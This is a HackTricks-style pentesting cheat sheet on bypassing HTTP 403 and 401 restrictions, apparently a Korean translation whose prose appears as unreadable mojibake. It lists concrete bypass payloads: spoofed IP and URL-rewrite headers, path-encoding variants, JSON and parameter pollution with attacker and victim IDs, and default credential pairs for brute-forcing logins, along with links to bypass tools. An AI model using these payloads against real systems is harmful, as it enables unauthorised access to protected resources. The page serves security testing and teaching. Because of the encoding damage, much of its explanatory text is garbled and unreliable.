403 & 401 Bypasses
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
HTTP Verbs/Methods Fuzzing
ํ์ผ์ ์ ๊ทผํ๊ธฐ ์ํด ๋ค์ํ ๋์ฌ๋ฅผ ์ฌ์ฉํด ๋ณด์ธ์: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- ์๋ต ํค๋๋ฅผ ํ์ธํ์ธ์. ์ ์ฉํ ์ ๋ณด๊ฐ ์์ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, HEAD์ ๋ํ 200 ์๋ต๊ณผ
Content-Length: 55๋ HEAD ๋์ฌ๊ฐ ์ ๋ณด๋ฅผ ์ ๊ทผํ ์ ์์์ ์๋ฏธํฉ๋๋ค. ํ์ง๋ง ๊ทธ ์ ๋ณด๋ฅผ ์ ์ถํ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค. X-HTTP-Method-Override: PUT๊ณผ ๊ฐ์ HTTP ํค๋๋ฅผ ์ฌ์ฉํ๋ฉด ์ฌ์ฉ๋ ๋์ฌ๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.TRACE๋์ฌ๋ฅผ ์ฌ์ฉํ๊ณ , ์ด์ด ์ข๋ค๋ฉด ์๋ต์์ ์ ์ฉํ ์ ์๋ ์ค๊ฐ ํ๋ก์๊ฐ ์ถ๊ฐํ ํค๋๋ฅผ ๋ณผ ์ ์์ต๋๋ค.
HTTP Headers Fuzzing
-
Host ํค๋๋ฅผ ์์์ ๊ฐ์ผ๋ก ๋ณ๊ฒฝํ์ธ์ (์ฌ๊ธฐ์ ์๋ํ ์)
-
๋ค๋ฅธ ์ฌ์ฉ์ ์์ด์ ํธ ์ฌ์ฉ์ผ๋ก ๋ฆฌ์์ค์ ์ ๊ทผํด ๋ณด์ธ์.
-
HTTP ํค๋ ํผ์ง: HTTP ํ๋ก์ ํค๋, HTTP ์ธ์ฆ ๊ธฐ๋ณธ ๋ฐ NTLM ๋ธ๋ฃจํธํฌ์ค(๋ช ๊ฐ์ง ์กฐํฉ๋ง ์ฌ์ฉ) ๋ฐ ๊ธฐํ ๊ธฐ์ ์ ์ฌ์ฉํด ๋ณด์ธ์. ์ด๋ฅผ ์ํด fuzzhttpbypass ๋๊ตฌ๋ฅผ ๋ง๋ค์์ต๋๋ค.
-
X-Originating-IP: 127.0.0.1 -
X-Forwarded-For: 127.0.0.1 -
X-Forwarded: 127.0.0.1 -
Forwarded-For: 127.0.0.1 -
X-Remote-IP: 127.0.0.1 -
X-Remote-Addr: 127.0.0.1 -
X-ProxyUser-Ip: 127.0.0.1 -
X-Original-URL: 127.0.0.1 -
Client-IP: 127.0.0.1 -
True-Client-IP: 127.0.0.1 -
Cluster-Client-IP: 127.0.0.1 -
X-ProxyUser-Ip: 127.0.0.1 -
Host: localhost
๊ฒฝ๋ก๊ฐ ๋ณดํธ๋์ด ์๋ ๊ฒฝ์ฐ ์ด๋ฌํ ๋ค๋ฅธ ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ๊ฒฝ๋ก ๋ณดํธ๋ฅผ ์ฐํํด ๋ณด์ธ์:
-
X-Original-URL: /admin/console -
X-Rewrite-URL: /admin/console -
ํ์ด์ง๊ฐ ํ๋ก์ ๋ค์ ์๋ ๊ฒฝ์ฐ, ์๋ง๋ ํ๋ก์๊ฐ ๊ฐ์ธ ์ ๋ณด ์ ๊ทผ์ ๋ฐฉํดํ๊ณ ์์ ์ ์์ต๋๋ค. HTTP Request Smuggling ๋๋ hop-by-hop headers๋ฅผ ์ ์ฉํด ๋ณด์ธ์.
-
ํน์ HTTP ํค๋๋ฅผ ํผ์งํ์ฌ ๋ค์ํ ์๋ต์ ์ฐพ์๋ณด์ธ์.
-
HTTP ๋ฉ์๋๋ฅผ ํผ์งํ๋ ๋์ ํน์ HTTP ํค๋๋ฅผ ํผ์งํ์ธ์.
-
Host ํค๋๋ฅผ ์ ๊ฑฐํ๋ฉด ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์์ง๋ ๋ชจ๋ฆ ๋๋ค.
Path Fuzzing
_if /path_๊ฐ ์ฐจ๋จ๋ ๊ฒฝ์ฐ:
/%2e/path๋ฅผ ์ฌ์ฉํด ๋ณด์ธ์(ํ๋ก์์์ ์ ๊ทผ์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ, ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค)./%252e**/path(์ด์ค URL ์ธ์ฝ๋ฉ)๋ ์๋ํด ๋ณด์ธ์.- ์ ๋์ฝ๋ ์ฐํ๋ฅผ ์๋ํ์ธ์: /%ef%bc%8fpath (URL ์ธ์ฝ๋ฉ๋ ๋ฌธ์๋ โ/โ์ ๊ฐ์ผ๋ฏ๋ก ๋ค์ ์ธ์ฝ๋ฉํ๋ฉด _//path_๊ฐ ๋์ด /path ์ด๋ฆ ๊ฒ์ฌ๋ฅผ ์ด๋ฏธ ์ฐํํ์ ์ ์์ต๋๋ค.)
- ๊ธฐํ ๊ฒฝ๋ก ์ฐํ:
- site.com/secret โ> HTTP 403 Forbidden
- site.com/SECRET โ> HTTP 200 OK
- site.com/secret/ โ> HTTP 200 OK
- site.com/secret/. โ> HTTP 200 OK
- site.com//secret// โ> HTTP 200 OK
- site.com/./secret/.. โ> HTTP 200 OK
- site.com/;/secret โ> HTTP 200 OK
- site.com/.;/secret โ> HTTP 200 OK
- site.com//;//secret โ> HTTP 200 OK
- site.com/secret.json โ> HTTP 200 OK (ruby)
- ๋ค์ ์ํฉ์์ ์ด ๋ชฉ๋ก๋ฅผ ์ฌ์ฉํ์ธ์:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- ๊ธฐํ API ์ฐํ:
- /v3/users_data/1234 โ> 403 Forbidden
- /v1/users_data/1234 โ> 200 OK
- {โidโ:111} โ> 401 Unauthriozied
- {โidโ:[111]} โ> 200 OK
- {โidโ:111} โ> 401 Unauthriozied
- {โidโ:{โidโ:111}} โ> 200 OK
- {โuser_idโ:โ<legit_id>โ,โuser_idโ:โ<victims_id>โ} (JSON Parameter Pollution)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
Parameter Manipulation
- param ๊ฐ ๋ณ๊ฒฝ:
id=123โ>id=124 - URL์ ์ถ๊ฐ ๋งค๊ฐ๋ณ์ ์ถ๊ฐ:
?id=124โ->id=124&isAdmin=true - ๋งค๊ฐ๋ณ์ ์ ๊ฑฐ
- ๋งค๊ฐ๋ณ์ ์์ ๋ณ๊ฒฝ
- ํน์ ๋ฌธ์ ์ฌ์ฉ.
- ๋งค๊ฐ๋ณ์์์ ๊ฒฝ๊ณ ํ ์คํธ ์ํ โ -234 ๋๋ 0 ๋๋ _99999999_์ ๊ฐ์ ๊ฐ์ ์ ๊ณตํ์ธ์(๋ช ๊ฐ์ง ์์ ๊ฐ).
Protocol version
HTTP/1.1์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ 1.0์ ์ฌ์ฉํด ๋ณด์ธ์ ๋๋ 2.0์ ์ง์ํ๋์ง ํ ์คํธํด ๋ณด์ธ์.
Other Bypasses
- ๋๋ฉ์ธ์ IP ๋๋ CNAME๋ฅผ ๊ฐ์ ธ์์ ์ง์ ์ฐ๋ฝํด ๋ณด์ธ์.
- ์ผ๋ฐ GET ์์ฒญ์ ๋ณด๋ด ์๋ฒ์ ๋ถํ๋ฅผ ์ฃผ์ด ๋ณด์ธ์ (์ด ์ฌ๋์ Facebook์์ ์๋ํ์ต๋๋ค).
- ํ๋กํ ์ฝ ๋ณ๊ฒฝ: http์์ https๋ก, ๋๋ https์์ http๋ก ๋ณ๊ฒฝ
- https://archive.org/web/์ ๊ฐ์ ๊ณผ๊ฑฐ์ ํด๋น ํ์ผ์ด ์ ์ธ๊ณ์ ์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํ๋์ง ํ์ธํด ๋ณด์ธ์.
Brute Force
- ๋น๋ฐ๋ฒํธ ์ถ์ธก: ๋ค์ ์ผ๋ฐ ์๊ฒฉ ์ฆ๋ช ์ ํ ์คํธํ์ธ์. ํผํด์์ ๋ํด ์๋ ๊ฒ์ด ์๋์? ๋๋ CTF ๋์ ์ด๋ฆ์ ๋ฌด์์ธ๊ฐ์?
- Brute force: ๊ธฐ๋ณธ, ๋ค์ด์ ์คํธ ๋ฐ NTLM ์ธ์ฆ์ ์๋ํด ๋ณด์ธ์.
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
์๋ ๋๊ตฌ
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


